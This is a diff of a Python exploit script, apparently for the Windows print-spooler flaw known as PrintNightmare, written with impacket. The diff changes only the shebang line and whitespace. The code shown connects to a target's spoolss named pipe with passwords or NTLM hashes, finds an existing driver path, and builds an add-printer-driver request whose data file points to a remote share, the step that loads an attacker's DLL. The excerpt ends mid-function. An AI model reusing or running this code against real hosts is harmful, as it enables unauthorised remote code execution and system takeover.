|
|
|
@ -1,4 +1,4 @@ |
|
|
|
|
#!/usr/bin/python3 |
|
|
|
|
#!/usr/bin/env python3 |
|
|
|
|
from impacket.dcerpc.v5 import rprn |
|
|
|
|
from impacket.dcerpc.v5 import transport |
|
|
|
|
from impacket.dcerpc.v5.dtypes import NULL |
|
|
|
@ -20,7 +20,7 @@ class DRIVER_INFO_2_BLOB(Structure): |
|
|
|
|
|
|
|
|
|
def __init__(self, data = None): |
|
|
|
|
Structure.__init__(self, data = data) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def fromString(self, data, offset=0): |
|
|
|
|
Structure.fromString(self, data) |
|
|
|
|
self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le') |
|
|
|
@ -43,14 +43,14 @@ class DRIVER_INFO_2_ARRAY(Structure): |
|
|
|
|
def connect(username, password, domain, lmhash, nthash, address, port): |
|
|
|
|
binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address) |
|
|
|
|
rpctransport = transport.DCERPCTransportFactory(binding) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
rpctransport.set_dport(port) |
|
|
|
|
rpctransport.setRemoteHost(address) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if hasattr(rpctransport, 'set_credentials'): |
|
|
|
|
# This method exists only for selected protocol sequences. |
|
|
|
|
rpctransport.set_credentials(username, password, domain, lmhash, nthash) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
print("[*] Connecting to {0}".format(binding)) |
|
|
|
|
try: |
|
|
|
|
dce = rpctransport.get_dce_rpc() |
|
|
|
@ -70,7 +70,7 @@ def getDriver(dce, handle=NULL): |
|
|
|
|
for i in blobs['drivers']: |
|
|
|
|
if "filerepository" in i['DriverPathArray'].lower(): |
|
|
|
|
return i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
print("[-] Failed to find driver") |
|
|
|
|
sys.exit(1) |
|
|
|
|
|
|
|
|
@ -86,7 +86,7 @@ def main(dce, pDriverPath, share, handle=NULL): |
|
|
|
|
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00' |
|
|
|
|
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share) |
|
|
|
|
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00" |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000 |
|
|
|
|
filename = share.split("\\")[-1] |
|
|
|
|
|
|
|
|
|